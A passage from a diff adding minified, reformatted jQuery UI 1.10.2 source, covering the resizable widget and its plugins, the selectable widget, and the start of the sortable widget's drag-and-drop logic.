c.originalPosition.top) || + null), + l.animate || + this.element.css(t.extend(a, {top: h, left: r})), + c.helper.height(c.size.height), + c.helper.width(c.size.width), + this._helper && + !l.animate && + this._proportionallyResize()), + t('body').css('cursor', 'auto'), + this.element.removeClass('ui-resizable-resizing'), + this._propagate('stop', e), + this._helper && this.helper.remove(), + !1 + ); + }, + _updateVirtualBoundaries: function (t) { + var e, + s, + n, + o, + a, + r = this.options; + (a = { + minWidth: i(r.minWidth) ? r.minWidth : 0, + maxWidth: i(r.maxWidth) ? r.maxWidth : 1 / 0, + minHeight: i(r.minHeight) ? r.minHeight : 0, + maxHeight: i(r.maxHeight) ? r.maxHeight : 1 / 0, + }), + (this._aspectRatio || t) && + ((e = a.minHeight * this.aspectRatio), + (n = a.minWidth / this.aspectRatio), + (s = a.maxHeight * this.aspectRatio), + (o = a.maxWidth / this.aspectRatio), + e > a.minWidth && (a.minWidth = e), + n > a.minHeight && (a.minHeight = n), + a.maxWidth > s && (a.maxWidth = s), + a.maxHeight > o && (a.maxHeight = o)), + (this._vBoundaries = a); + }, + _updateCache: function (t) { + (this.offset = this.helper.offset()), + i(t.left) && (this.position.left = t.left), + i(t.top) && (this.position.top = t.top), + i(t.height) && (this.size.height = t.height), + i(t.width) && (this.size.width = t.width); + }, + _updateRatio: function (t) { + var e = this.position, + s = this.size, + n = this.axis; + return ( + i(t.height) + ? (t.width = t.height * this.aspectRatio) + : i(t.width) && (t.height = t.width / this.aspectRatio), + 'sw' === n && + ((t.left = e.left + (s.width - t.width)), + (t.top = null)), + 'nw' === n && + ((t.top = e.top + (s.height - t.height)), + (t.left = e.left + (s.width - t.width))), + t + ); + }, + _respectSize: function (t) { + var e = this._vBoundaries, + s = this.axis, + n = i(t.width) && e.maxWidth && e.maxWidth < t.width, + o = i(t.height) && e.maxHeight && e.maxHeight < t.height, + a = i(t.width) && e.minWidth && e.minWidth > t.width, + r = i(t.height) && e.minHeight && e.minHeight > t.height, + h = this.originalPosition.left + this.originalSize.width, + l = this.position.top + this.size.height, + c = /sw|nw|w/.test(s), + u = /nw|ne|n/.test(s); + return ( + a && (t.width = e.minWidth), + r && (t.height = e.minHeight), + n && (t.width = e.maxWidth), + o && (t.height = e.maxHeight), + a && c && (t.left = h - e.minWidth), + n && c && (t.left = h - e.maxWidth), + r && u && (t.top = l - e.minHeight), + o && u && (t.top = l - e.maxHeight), + t.width || t.height || t.left || !t.top + ? t.width || + t.height || + t.top || + !t.left || + (t.left = null) + : (t.top = null), + t + ); + }, + _proportionallyResize: function () { + if (this._proportionallyResizeElements.length) { + var t, + e, + i, + s, + n, + o = this.helper || this.element; + for ( + t = 0; + this._proportionallyResizeElements.length > t; + t++ + ) { + if ( + ((n = this._proportionallyResizeElements[t]), + !this.borderDif) + ) + for ( + this.borderDif = [], + i = [ + n.css('borderTopWidth'), + n.css('borderRightWidth'), + n.css('borderBottomWidth'), + n.css('borderLeftWidth'), + ], + s = [ + n.css('paddingTop'), + n.css('paddingRight'), + n.css('paddingBottom'), + n.css('paddingLeft'), + ], + e = 0; + i.length > e; + e++ + ) + this.borderDif[e] = + (parseInt(i[e], 10) || 0) + + (parseInt(s[e], 10) || 0); + n.css({ + height: + o.height() - + this.borderDif[0] - + this.borderDif[2] || 0, + width: + o.width() - + this.borderDif[1] - + this.borderDif[3] || 0, + }); + } + } + }, + _renderProxy: function () { + var e = this.element, + i = this.options; + (this.elementOffset = e.offset()), + this._helper + ? ((this.helper = + this.helper || + t("
")), + this.helper.addClass(this._helper).css({ + width: this.element.outerWidth() - 1, + height: this.element.outerHeight() - 1, + position: 'absolute', + left: this.elementOffset.left + 'px', + top: this.elementOffset.top + 'px', + zIndex: ++i.zIndex, + }), + this.helper.appendTo('body').disableSelection()) + : (this.helper = this.element); + }, + _change: { + e: function (t, e) { + return {width: this.originalSize.width + e}; + }, + w: function (t, e) { + var i = this.originalSize, + s = this.originalPosition; + return {left: s.left + e, width: i.width - e}; + }, + n: function (t, e, i) { + var s = this.originalSize, + n = this.originalPosition; + return {top: n.top + i, height: s.height - i}; + }, + s: function (t, e, i) { + return {height: this.originalSize.height + i}; + }, + se: function (e, i, s) { + return t.extend( + this._change.s.apply(this, arguments), + this._change.e.apply(this, [e, i, s]), + ); + }, + sw: function (e, i, s) { + return t.extend( + this._change.s.apply(this, arguments), + this._change.w.apply(this, [e, i, s]), + ); + }, + ne: function (e, i, s) { + return t.extend( + this._change.n.apply(this, arguments), + this._change.e.apply(this, [e, i, s]), + ); + }, + nw: function (e, i, s) { + return t.extend( + this._change.n.apply(this, arguments), + this._change.w.apply(this, [e, i, s]), + ); + }, + }, + _propagate: function (e, i) { + t.ui.plugin.call(this, e, [i, this.ui()]), + 'resize' !== e && this._trigger(e, i, this.ui()); + }, + plugins: {}, + ui: function () { + return { + originalElement: this.originalElement, + element: this.element, + helper: this.helper, + position: this.position, + size: this.size, + originalSize: this.originalSize, + originalPosition: this.originalPosition, + }; + }, + }), + t.ui.plugin.add('resizable', 'animate', { + stop: function (e) { + var i = t(this).data('ui-resizable'), + s = i.options, + n = i._proportionallyResizeElements, + o = n.length && /textarea/i.test(n[0].nodeName), + a = + o && t.ui.hasScroll(n[0], 'left') + ? 0 + : i.sizeDiff.height, + r = o ? 0 : i.sizeDiff.width, + h = { + width: i.size.width - r, + height: i.size.height - a, + }, + l = + parseInt(i.element.css('left'), 10) + + (i.position.left - i.originalPosition.left) || + null, + c = + parseInt(i.element.css('top'), 10) + + (i.position.top - i.originalPosition.top) || + null; + i.element.animate( + t.extend(h, c && l ? {top: c, left: l} : {}), + { + duration: s.animateDuration, + easing: s.animateEasing, + step: function () { + var s = { + width: parseInt(i.element.css('width'), 10), + height: parseInt( + i.element.css('height'), + 10, + ), + top: parseInt(i.element.css('top'), 10), + left: parseInt(i.element.css('left'), 10), + }; + n && + n.length && + t(n[0]).css({ + width: s.width, + height: s.height, + }), + i._updateCache(s), + i._propagate('resize', e); + }, + }, + ); + }, + }), + t.ui.plugin.add('resizable', 'containment', { + start: function () { + var i, + s, + n, + o, + a, + r, + h, + l = t(this).data('ui-resizable'), + c = l.options, + u = l.element, + d = c.containment, + p = + d instanceof t + ? d.get(0) + : /parent/.test(d) + ? u.parent().get(0) + : d; + p && + ((l.containerElement = t(p)), + /document/.test(d) || d === document + ? ((l.containerOffset = {left: 0, top: 0}), + (l.containerPosition = {left: 0, top: 0}), + (l.parentData = { + element: t(document), + left: 0, + top: 0, + width: t(document).width(), + height: + t(document).height() || + document.body.parentNode.scrollHeight, + })) + : ((i = t(p)), + (s = []), + t(['Top', 'Right', 'Left', 'Bottom']).each( + function (t, n) { + s[t] = e(i.css('padding' + n)); + }, + ), + (l.containerOffset = i.offset()), + (l.containerPosition = i.position()), + (l.containerSize = { + height: i.innerHeight() - s[3], + width: i.innerWidth() - s[1], + }), + (n = l.containerOffset), + (o = l.containerSize.height), + (a = l.containerSize.width), + (r = t.ui.hasScroll(p, 'left') + ? p.scrollWidth + : a), + (h = t.ui.hasScroll(p) ? p.scrollHeight : o), + (l.parentData = { + element: p, + left: n.left, + top: n.top, + width: r, + height: h, + }))); + }, + resize: function (e) { + var i, + s, + n, + o, + a = t(this).data('ui-resizable'), + r = a.options, + h = a.containerOffset, + l = a.position, + c = a._aspectRatio || e.shiftKey, + u = {top: 0, left: 0}, + d = a.containerElement; + d[0] !== document && + /static/.test(d.css('position')) && + (u = h), + l.left < (a._helper ? h.left : 0) && + ((a.size.width = + a.size.width + + (a._helper + ? a.position.left - h.left + : a.position.left - u.left)), + c && (a.size.height = a.size.width / a.aspectRatio), + (a.position.left = r.helper ? h.left : 0)), + l.top < (a._helper ? h.top : 0) && + ((a.size.height = + a.size.height + + (a._helper + ? a.position.top - h.top + : a.position.top)), + c && (a.size.width = a.size.height * a.aspectRatio), + (a.position.top = a._helper ? h.top : 0)), + (a.offset.left = a.parentData.left + a.position.left), + (a.offset.top = a.parentData.top + a.position.top), + (i = Math.abs( + (a._helper + ? a.offset.left - u.left + : a.offset.left - u.left) + a.sizeDiff.width, + )), + (s = Math.abs( + (a._helper + ? a.offset.top - u.top + : a.offset.top - h.top) + a.sizeDiff.height, + )), + (n = + a.containerElement.get(0) === + a.element.parent().get(0)), + (o = /relative|absolute/.test( + a.containerElement.css('position'), + )), + n && o && (i -= a.parentData.left), + i + a.size.width >= a.parentData.width && + ((a.size.width = a.parentData.width - i), + c && + (a.size.height = a.size.width / a.aspectRatio)), + s + a.size.height >= a.parentData.height && + ((a.size.height = a.parentData.height - s), + c && + (a.size.width = a.size.height * a.aspectRatio)); + }, + stop: function () { + var e = t(this).data('ui-resizable'), + i = e.options, + s = e.containerOffset, + n = e.containerPosition, + o = e.containerElement, + a = t(e.helper), + r = a.offset(), + h = a.outerWidth() - e.sizeDiff.width, + l = a.outerHeight() - e.sizeDiff.height; + e._helper && + !i.animate && + /relative/.test(o.css('position')) && + t(this).css({ + left: r.left - n.left - s.left, + width: h, + height: l, + }), + e._helper && + !i.animate && + /static/.test(o.css('position')) && + t(this).css({ + left: r.left - n.left - s.left, + width: h, + height: l, + }); + }, + }), + t.ui.plugin.add('resizable', 'alsoResize', { + start: function () { + var e = t(this).data('ui-resizable'), + i = e.options, + s = function (e) { + t(e).each(function () { + var e = t(this); + e.data('ui-resizable-alsoresize', { + width: parseInt(e.width(), 10), + height: parseInt(e.height(), 10), + left: parseInt(e.css('left'), 10), + top: parseInt(e.css('top'), 10), + }); + }); + }; + 'object' != typeof i.alsoResize || i.alsoResize.parentNode + ? s(i.alsoResize) + : i.alsoResize.length + ? ((i.alsoResize = i.alsoResize[0]), s(i.alsoResize)) + : t.each(i.alsoResize, function (t) { + s(t); + }); + }, + resize: function (e, i) { + var s = t(this).data('ui-resizable'), + n = s.options, + o = s.originalSize, + a = s.originalPosition, + r = { + height: s.size.height - o.height || 0, + width: s.size.width - o.width || 0, + top: s.position.top - a.top || 0, + left: s.position.left - a.left || 0, + }, + h = function (e, s) { + t(e).each(function () { + var e = t(this), + n = t(this).data('ui-resizable-alsoresize'), + o = {}, + a = + s && s.length + ? s + : e.parents(i.originalElement[0]) + .length + ? ['width', 'height'] + : [ + 'width', + 'height', + 'top', + 'left', + ]; + t.each(a, function (t, e) { + var i = (n[e] || 0) + (r[e] || 0); + i && i >= 0 && (o[e] = i || null); + }), + e.css(o); + }); + }; + 'object' != typeof n.alsoResize || n.alsoResize.nodeType + ? h(n.alsoResize) + : t.each(n.alsoResize, function (t, e) { + h(t, e); + }); + }, + stop: function () { + t(this).removeData('resizable-alsoresize'); + }, + }), + t.ui.plugin.add('resizable', 'ghost', { + start: function () { + var e = t(this).data('ui-resizable'), + i = e.options, + s = e.size; + (e.ghost = e.originalElement.clone()), + e.ghost + .css({ + opacity: 0.25, + display: 'block', + position: 'relative', + height: s.height, + width: s.width, + margin: 0, + left: 0, + top: 0, + }) + .addClass('ui-resizable-ghost') + .addClass( + 'string' == typeof i.ghost ? i.ghost : '', + ), + e.ghost.appendTo(e.helper); + }, + resize: function () { + var e = t(this).data('ui-resizable'); + e.ghost && + e.ghost.css({ + position: 'relative', + height: e.size.height, + width: e.size.width, + }); + }, + stop: function () { + var e = t(this).data('ui-resizable'); + e.ghost && + e.helper && + e.helper.get(0).removeChild(e.ghost.get(0)); + }, + }), + t.ui.plugin.add('resizable', 'grid', { + resize: function () { + var e = t(this).data('ui-resizable'), + i = e.options, + s = e.size, + n = e.originalSize, + o = e.originalPosition, + a = e.axis, + r = + 'number' == typeof i.grid + ? [i.grid, i.grid] + : i.grid, + h = r[0] || 1, + l = r[1] || 1, + c = Math.round((s.width - n.width) / h) * h, + u = Math.round((s.height - n.height) / l) * l, + d = n.width + c, + p = n.height + u, + f = i.maxWidth && d > i.maxWidth, + g = i.maxHeight && p > i.maxHeight, + m = i.minWidth && i.minWidth > d, + v = i.minHeight && i.minHeight > p; + (i.grid = r), + m && (d += h), + v && (p += l), + f && (d -= h), + g && (p -= l), + /^(se|s|e)$/.test(a) + ? ((e.size.width = d), (e.size.height = p)) + : /^(ne)$/.test(a) + ? ((e.size.width = d), + (e.size.height = p), + (e.position.top = o.top - u)) + : /^(sw)$/.test(a) + ? ((e.size.width = d), + (e.size.height = p), + (e.position.left = o.left - c)) + : ((e.size.width = d), + (e.size.height = p), + (e.position.top = o.top - u), + (e.position.left = o.left - c)); + }, + }); + })(jQuery), + (function (t) { + t.widget('ui.selectable', t.ui.mouse, { + version: '1.10.2', + options: { + appendTo: 'body', + autoRefresh: !0, + distance: 0, + filter: '*', + tolerance: 'touch', + selected: null, + selecting: null, + start: null, + stop: null, + unselected: null, + unselecting: null, + }, + _create: function () { + var e, + i = this; + this.element.addClass('ui-selectable'), + (this.dragged = !1), + (this.refresh = function () { + (e = t(i.options.filter, i.element[0])), + e.addClass('ui-selectee'), + e.each(function () { + var e = t(this), + i = e.offset(); + t.data(this, 'selectable-item', { + element: this, + $element: e, + left: i.left, + top: i.top, + right: i.left + e.outerWidth(), + bottom: i.top + e.outerHeight(), + startselected: !1, + selected: e.hasClass('ui-selected'), + selecting: e.hasClass('ui-selecting'), + unselecting: e.hasClass('ui-unselecting'), + }); + }); + }), + this.refresh(), + (this.selectees = e.addClass('ui-selectee')), + this._mouseInit(), + (this.helper = t( + "
", + )); + }, + _destroy: function () { + this.selectees + .removeClass('ui-selectee') + .removeData('selectable-item'), + this.element.removeClass( + 'ui-selectable ui-selectable-disabled', + ), + this._mouseDestroy(); + }, + _mouseStart: function (e) { + var i = this, + s = this.options; + (this.opos = [e.pageX, e.pageY]), + this.options.disabled || + ((this.selectees = t(s.filter, this.element[0])), + this._trigger('start', e), + t(s.appendTo).append(this.helper), + this.helper.css({ + left: e.pageX, + top: e.pageY, + width: 0, + height: 0, + }), + s.autoRefresh && this.refresh(), + this.selectees.filter('.ui-selected').each(function () { + var s = t.data(this, 'selectable-item'); + (s.startselected = !0), + e.metaKey || + e.ctrlKey || + (s.$element.removeClass('ui-selected'), + (s.selected = !1), + s.$element.addClass('ui-unselecting'), + (s.unselecting = !0), + i._trigger('unselecting', e, { + unselecting: s.element, + })); + }), + t(e.target) + .parents() + .addBack() + .each(function () { + var s, + n = t.data(this, 'selectable-item'); + return n + ? ((s = + (!e.metaKey && !e.ctrlKey) || + !n.$element.hasClass('ui-selected')), + n.$element + .removeClass( + s + ? 'ui-unselecting' + : 'ui-selected', + ) + .addClass( + s + ? 'ui-selecting' + : 'ui-unselecting', + ), + (n.unselecting = !s), + (n.selecting = s), + (n.selected = s), + s + ? i._trigger('selecting', e, { + selecting: n.element, + }) + : i._trigger('unselecting', e, { + unselecting: n.element, + }), + !1) + : undefined; + })); + }, + _mouseDrag: function (e) { + if (((this.dragged = !0), !this.options.disabled)) { + var i, + s = this, + n = this.options, + o = this.opos[0], + a = this.opos[1], + r = e.pageX, + h = e.pageY; + return ( + o > r && ((i = r), (r = o), (o = i)), + a > h && ((i = h), (h = a), (a = i)), + this.helper.css({ + left: o, + top: a, + width: r - o, + height: h - a, + }), + this.selectees.each(function () { + var i = t.data(this, 'selectable-item'), + l = !1; + i && + i.element !== s.element[0] && + ('touch' === n.tolerance + ? (l = !( + i.left > r || + o > i.right || + i.top > h || + a > i.bottom + )) + : 'fit' === n.tolerance && + (l = + i.left > o && + r > i.right && + i.top > a && + h > i.bottom), + l + ? (i.selected && + (i.$element.removeClass( + 'ui-selected', + ), + (i.selected = !1)), + i.unselecting && + (i.$element.removeClass( + 'ui-unselecting', + ), + (i.unselecting = !1)), + i.selecting || + (i.$element.addClass('ui-selecting'), + (i.selecting = !0), + s._trigger('selecting', e, { + selecting: i.element, + }))) + : (i.selecting && + ((e.metaKey || e.ctrlKey) && + i.startselected + ? (i.$element.removeClass( + 'ui-selecting', + ), + (i.selecting = !1), + i.$element.addClass( + 'ui-selected', + ), + (i.selected = !0)) + : (i.$element.removeClass( + 'ui-selecting', + ), + (i.selecting = !1), + i.startselected && + (i.$element.addClass( + 'ui-unselecting', + ), + (i.unselecting = !0)), + s._trigger('unselecting', e, { + unselecting: i.element, + }))), + i.selected && + (e.metaKey || + e.ctrlKey || + i.startselected || + (i.$element.removeClass( + 'ui-selected', + ), + (i.selected = !1), + i.$element.addClass( + 'ui-unselecting', + ), + (i.unselecting = !0), + s._trigger('unselecting', e, { + unselecting: i.element, + }))))); + }), + !1 + ); + } + }, + _mouseStop: function (e) { + var i = this; + return ( + (this.dragged = !1), + t('.ui-unselecting', this.element[0]).each(function () { + var s = t.data(this, 'selectable-item'); + s.$element.removeClass('ui-unselecting'), + (s.unselecting = !1), + (s.startselected = !1), + i._trigger('unselected', e, { + unselected: s.element, + }); + }), + t('.ui-selecting', this.element[0]).each(function () { + var s = t.data(this, 'selectable-item'); + s.$element + .removeClass('ui-selecting') + .addClass('ui-selected'), + (s.selecting = !1), + (s.selected = !0), + (s.startselected = !0), + i._trigger('selected', e, {selected: s.element}); + }), + this._trigger('stop', e), + this.helper.remove(), + !1 + ); + }, + }); + })(jQuery), + (function (t) { + function e(t, e, i) { + return t > e && e + i > t; + } + function i(t) { + return ( + /left|right/.test(t.css('float')) || + /inline|table-cell/.test(t.css('display')) + ); + } + t.widget('ui.sortable', t.ui.mouse, { + version: '1.10.2', + widgetEventPrefix: 'sort', + ready: !1, + options: { + appendTo: 'parent', + axis: !1, + connectWith: !1, + containment: !1, + cursor: 'auto', + cursorAt: !1, + dropOnEmpty: !0, + forcePlaceholderSize: !1, + forceHelperSize: !1, + grid: !1, + handle: !1, + helper: 'original', + items: '> *', + opacity: !1, + placeholder: !1, + revert: !1, + scroll: !0, + scrollSensitivity: 20, + scrollSpeed: 20, + scope: 'default', + tolerance: 'intersect', + zIndex: 1e3, + activate: null, + beforeStop: null, + change: null, + deactivate: null, + out: null, + over: null, + receive: null, + remove: null, + sort: null, + start: null, + stop: null, + update: null, + }, + _create: function () { + var t = this.options; + (this.containerCache = {}), + this.element.addClass('ui-sortable'), + this.refresh(), + (this.floating = this.items.length + ? 'x' === t.axis || i(this.items[0].item) + : !1), + (this.offset = this.element.offset()), + this._mouseInit(), + (this.ready = !0); + }, + _destroy: function () { + this.element.removeClass('ui-sortable ui-sortable-disabled'), + this._mouseDestroy(); + for (var t = this.items.length - 1; t >= 0; t--) + this.items[t].item.removeData(this.widgetName + '-item'); + return this; + }, + _setOption: function (e, i) { + 'disabled' === e + ? ((this.options[e] = i), + this.widget().toggleClass('ui-sortable-disabled', !!i)) + : t.Widget.prototype._setOption.apply(this, arguments); + }, + _mouseCapture: function (e, i) { + var s = null, + n = !1, + o = this; + return this.reverting + ? !1 + : this.options.disabled || 'static' === this.options.type + ? !1 + : (this._refreshItems(e), + t(e.target) + .parents() + .each(function () { + return t.data(this, o.widgetName + '-item') === o + ? ((s = t(this)), !1) + : undefined; + }), + t.data(e.target, o.widgetName + '-item') === o && + (s = t(e.target)), + s + ? !this.options.handle || + i || + (t(this.options.handle, s) + .find('*') + .addBack() + .each(function () { + this === e.target && (n = !0); + }), + n) + ? ((this.currentItem = s), + this._removeCurrentsFromItems(), + !0) + : !1 + : !1); + }, + _mouseStart: function (e, i, s) { + var n, + o, + a = this.options; + if ( + ((this.currentContainer = this), + this.refreshPositions(), + (this.helper = this._createHelper(e)), + this._cacheHelperProportions(), + this._cacheMargins(), + (this.scrollParent = this.helper.scrollParent()), + (this.offset = this.currentItem.offset()), + (this.offset = { + top: this.offset.top - this.margins.top, + left: this.offset.left - this.margins.left, + }), + t.extend(this.offset, { + click: { + left: e.pageX - this.offset.left, + top: e.pageY - this.offset.top, + }, + parent: this._getParentOffset(), + relative: this._getRelativeOffset(), + }), + this.helper.css('position', 'absolute'), + (this.cssPosition = this.helper.css('position')), + (this.originalPosition = this._generatePosition(e)), + (this.originalPageX = e.pageX), + (this.originalPageY = e.pageY), + a.cursorAt && this._adjustOffsetFromHelper(a.cursorAt), + (this.domPosition = { + prev: this.currentItem.prev()[0], + parent: this.currentItem.parent()[0], + }), + this.helper[0] !== this.currentItem[0] && + this.currentItem.hide(), + this._createPlaceholder(), + a.containment && this._setContainment(), + a.cursor && + 'auto' !== a.cursor && + ((o = this.document.find('body')), + (this.storedCursor = o.css('cursor')), + o.css('cursor', a.cursor), + (this.storedStylesheet = t( + '', + ).appendTo(o))), + a.opacity && + (this.helper.css('opacity') && + (this._storedOpacity = this.helper.css('opacity')), + this.helper.css('opacity', a.opacity)), + a.zIndex && + (this.helper.css('zIndex') && + (this._storedZIndex = this.helper.css('zIndex')), + this.helper.css('zIndex', a.zIndex)), + this.scrollParent[0] !== document && + 'HTML' !== this.scrollParent[0].tagName && + (this.overflowOffset = this.scrollParent.offset()), + this._trigger('start', e, this._uiHash()), + this._preserveHelperProportions || + this._cacheHelperProportions(), + !s) + ) + for (n = this.containers.length - 1; n >= 0; n--) + this.containers[n]._trigger( + 'activate', + e, + this._uiHash(this), + ); + return ( + t.ui.ddmanager && (t.ui.ddmanager.current = this), + t.ui.ddmanager && + !a.dropBehaviour && + t.ui.ddmanager.prepareOffsets(this, e), + (this.dragging = !0), + this.helper.addClass('ui-sortable-helper'), + this._mouseDrag(e), + !0 + ); + }, + _mouseDrag: function (e) { + var i, + s, + n, + o, + a = this.options, + r = !1; + for ( + this.position = this._generatePosition(e), + this.positionAbs = this._convertPositionTo('absolute'), + this.lastPositionAbs || + (this.lastPositionAbs = this.positionAbs), + this.options.scroll && + (this.scrollParent[0] !== document && + 'HTML' !== this.scrollParent[0].tagName + ? (this.overflowOffset.top + + this.scrollParent[0].offsetHeight - + e.pageY < + a.scrollSensitivity + ? (this.scrollParent[0].scrollTop = r = + this.scrollParent[0].scrollTop + + a.scrollSpeed) + : e.pageY - this.overflowOffset.top < + a.scrollSensitivity && + (this.scrollParent[0].scrollTop = r = + this.scrollParent[0].scrollTop - + a.scrollSpeed), + this.overflowOffset.left + + this.scrollParent[0].offsetWidth - + e.pageX < + a.scrollSensitivity + ? (this.scrollParent[0].scrollLeft = r = + this.scrollParent[0].scrollLeft + + a.scrollSpeed) + : e.pageX - this.overflowOffset.left < + a.scrollSensitivity && + (this.scrollParent[0].scrollLeft = r = + this.scrollParent[0].scrollLeft - + a.scrollSpeed)) + : (e.pageY - t(document).scrollTop() < + a.scrollSensitivity + ? (r = t(document).scrollTop( + t(document).scrollTop() - + a.scrollSpeed, + )) + : t(window).height() - + (e.pageY - + t(document).scrollTop()) < + a.scrollSensitivity && + (r = t(document).scrollTop( + t(document).scrollTop() + + a.scrollSpeed, + )), + e.pageX - t(document).scrollLeft() < + a.scrollSensitivity + ? (r = t(document).scrollLeft( + t(document).scrollLeft() - + a.scrollSpeed, + )) + : t(window).width() - + (e.pageX - + t(document).scrollLeft()) < + a.scrollSensitivity && + (r = t(document).scrollLeft( + t(document).scrollLeft() + + a.scrollSpeed, + ))), + r !== !1 && + t.ui.ddmanager && + !a.dropBehaviour && + t.ui.ddmanager.prepareOffsets(this, e)), + this.positionAbs = this._convertPositionTo('absolute'), + (this.options.axis && 'y' === this.options.axis) || + (this.helper[0].style.left = + this.position.left + 'px'), + (this.options.axis && 'x' === this.options.axis) || + (this.helper[0].style.top = + this.position.top + 'px'), + i = this.items.length - 1; + i >= 0; + i-- + ) + if ( + ((s = this.items[i]), + (n = s.item[0]), + (o = this._intersectsWithPointer(s)), + o && + s.instance === this.currentContainer && + n !== this.currentItem[0] && + this.placeholder[1 === o ? 'next' : 'prev']()[0] !== + n && + !t.contains(this.placeholder[0], n) && + ('semi-dynamic' === this.options.type + ? !t.contains(this.element[0], n) + : !0)) + ) { + if ( + ((this.direction = 1 === o ? 'down' : 'up'), + 'pointer' !== this.options.tolerance && + !this._intersectsWithSides(s)) + ) + break; + this._rearrange(e, s), + this._trigger('change', e, this._uiHash()); + break; + } + return ( + this._contactContainers(e), + t.ui.ddmanager && t.ui.ddmanager.drag(this, e), + this._trigger('sort', e, this._uiHash()), + (this.lastPositionAbs = this.positionAbs), + !1 + ); + }, + _mouseStop: function (e, i) { + if (e) { + if ( + (t.ui.ddmanager && + !this.options.dropBehaviour && + t.ui.ddmanager.drop(this, e), + this.options.revert) + ) { + var s = this, + n = this.placeholder.offset(), + o = this.options.axis, + a = {}; + (o && 'x' !== o) || + (a.left = + n.left - + this.offset.parent.left - + this.margins.left + + (this.offsetParent[0] === document.body + ? 0 + : this.offsetParent[0].scrollLeft)), + (o && 'y' !== o) || + (a.top = + n.top - + this.offset.parent.top - + this.margins.top + + (this.offsetParent[0] === document.body + ? 0 + : this.offsetParent[0].scrollTop)), + (this.reverting = !0), + t(this.helper).animate( + a, + parseInt(this.options.revert, 10) || 500, + function () { + s._clear(e); + }, + ); + } else this._clear(e, i); + return !1; + } + }, + cancel: function () { + if (this.dragging) { + this._mouseUp({target: null}), + 'original' === this.options.helper + ? this.currentItem + .css(this._storedCSS) + .removeClass('ui-sortable-helper') + : this.currentItem.show(); + for (var e = this.containers.length - 1; e >= 0; e--) + this.containers[e]._trigger( + 'deactivate', + null, + this._uiHash(this), + ), + this.containers[e].containerCache.over && + (this.containers[e]._trigger( + 'out', + null, + this._uiHash(this), + ), + (this.containers[e].containerCache.over = 0)); + } + return ( + this.placeholder && + (this.placeholder[0].parentNode && + this.placeholder[0].parentNode.removeChild( + this.placeholder[0], + ), + 'original' !== this.options.helper && + this.helper && + this.helper[0].parentNode && + this.helper.remove(), + t.extend(this, { + helper: null, + dragging: !1, + reverting: !1, + _noFinalSort: null, + }), + this.domPosition.prev + ? t(this.domPosition.prev).after(this.currentItem) + : t(this.domPosition.parent).prepend( + this.currentItem, + )), + this + ); + }, + serialize: function (e) { + var i = this._getItemsAsjQuery(e && e.connected), + s = []; + return ( + (e = e || {}), + t(i).each(function () { + var i = ( + t(e.item || this).attr(e.attribute || 'id') || '' + ).match(e.expression || /(.+)[\-=_](.+)/); + i && + s.push( + (e.key || i[1] + '[]') + + '=' + + (e.key && e.expression ? i[1] : i[2]), + ); + }), + !s.length && e.key && s.push(e.key + '='), + s.join('&') + ); + }, + toArray: function (e) { + var i = this._getItemsAsjQuery(e && e.connected), + s = []; + return ( + (e = e || {}), + i.each(function () { + s.push( + t(e.item || this).attr(e.attribute || 'id') || '', + ); + }), + s + ); + }, + _intersectsWith: function (t) { + var e = this.positionAbs.left, + i = e + this.helperProportions.width, + s = this.positionAbs.top, + n = s + this.helperProportions.height, + o = t.left, + a = o + t.width, + r = t.top, + h = r + t.height, + l = this.offset.click.top, + c = this.offset.click.left, + u = s + l > r && h > s + l && e + c > o && a > e + c; + return 'pointer' === this.options.tolerance || + this.options.forcePointerForContainers || + ('pointer' !== this.options.tolerance && + this.helperProportions[ + this.floating ? 'width' : 'height' + ] > t[this.floating ? 'width' : 'height']) + ? u + : e + this.helperProportions.width / 2 > o && + a > i - this.helperProportions.width / 2 && + s + this.helperProportions.height / 2 > r && + h > n - this.helperProportions.height / 2; + }, + _intersectsWithPointer: function (t) { + var i = + 'x' === this.options.axis || + e( + this.positionAbs.top + this.offset.click.top, + t.top, + t.height, + ), + s = + 'y' === this.options.axis || + e( + this.positionAbs.left + this.offset.click.left, + t.left, + t.width, + ), + n = i && s, + o = this._getDragVerticalDirection(), + a = this._getDragHorizontalDirection(); + return n + ? this.floating + ? (a && 'right' === a) || 'down' === o + ? 2 + : 1 + : o && ('down' === o ? 2 : 1) + : !1; + }, + _intersectsWithSides: function (t) { + var i = e( + this.positionAbs.top + this.offset.click.top, + t.top + t.height / 2, + t.height, + ), + s = e( + this.positionAbs.left + this.offset.click.left, + t.left + t.width / 2, + t.width, + ), + n = this._getDragVerticalDirection(), + o = this._getDragHorizontalDirection(); + return this.floating && o + ? ('right' === o && s) || ('left' === o && !s) + : n && (('down' === n && i) || ('up' === n && !i)); + }, + _getDragVerticalDirection: function () { + var t = this.positionAbs.top - this.lastPositionAbs.top; + return 0 !== t && (t > 0 ? 'down' : 'up'); + }, + _getDragHorizontalDirection: function () { + var t = this.positionAbs.left - this.lastPositionAbs.left; + return 0 !== t && (t > 0 ? 'right' : 'left'); + }, + refresh: function (t) { + return this._refreshItems(t), this.refreshPositions(), this; + }, + _connectWith: function () { + var t = this.options; + return t.connectWith.constructor === String + ? [t.connectWith] + : t.connectWith; + }, + _getItemsAsjQuery: function (e) { + var i, + s, + n, + o, + a = [], + r = [], + h = this._connectWith(); + if (h && e) + for (i = h.length - 1; i >= 0; i--) + for (n = t(h[i]), s = n.length - 1; s >= 0; s--) + (o = t.data(n[s], this.widgetFullName)), + o && + o !== this && + !o.options.disabled && + r.push([ + t.isFunction(o.options.items) + ? o.options.items.call(o.element) + : t(o.options.items, o.element) + .not('.ui-sortable-helper') + .not( + '.ui-sortable-placeholder', + ), + o, + ]); + for ( + r.push([ + t.isFunction(this.options.items) + ? this.options.items.call(this.element, null, { + options: this.options, + item: this.currentItem, + }) + : t(this.options.items, this.element) + .not('.ui-sortable-helper') + .not('.ui-sortable-placeholder'), + this, + ]), + i = r.length - 1; + i >= 0; + i-- + ) + r[i][0].each(function () { + a.push(this); + }); + return t(a); + }, + _removeCurrentsFromItems: function () { + var e = this.currentItem.find( + ':data(' + this.widgetName + '-item)', + ); + this.items = t.grep(this.items, function (t) { + for (var i = 0; e.length > i; i++) + if (e[i] === t.item[0]) return !1; + return !0; + }); + }, + _refreshItems: function (e) { + (this.items = []), (this.containers = [this]); + var i, + s, + n, + o, + a, + r, + h, + l, + c = this.items, + u = [ + [ + t.isFunction(this.options.items) + ? this.options.items.call(this.element[0], e, { + item: this.currentItem, + }) + : t(this.options.items, this.element), + this, + ], + ], + d = this._connectWith(); + if (d && this.ready) + for (i = d.length - 1; i >= 0; i--) + for (n = t(d[i]), s = n.length - 1; s >= 0; s--) + (o = t.data(n[s], this.widgetFullName)), + o && + o !== this && + 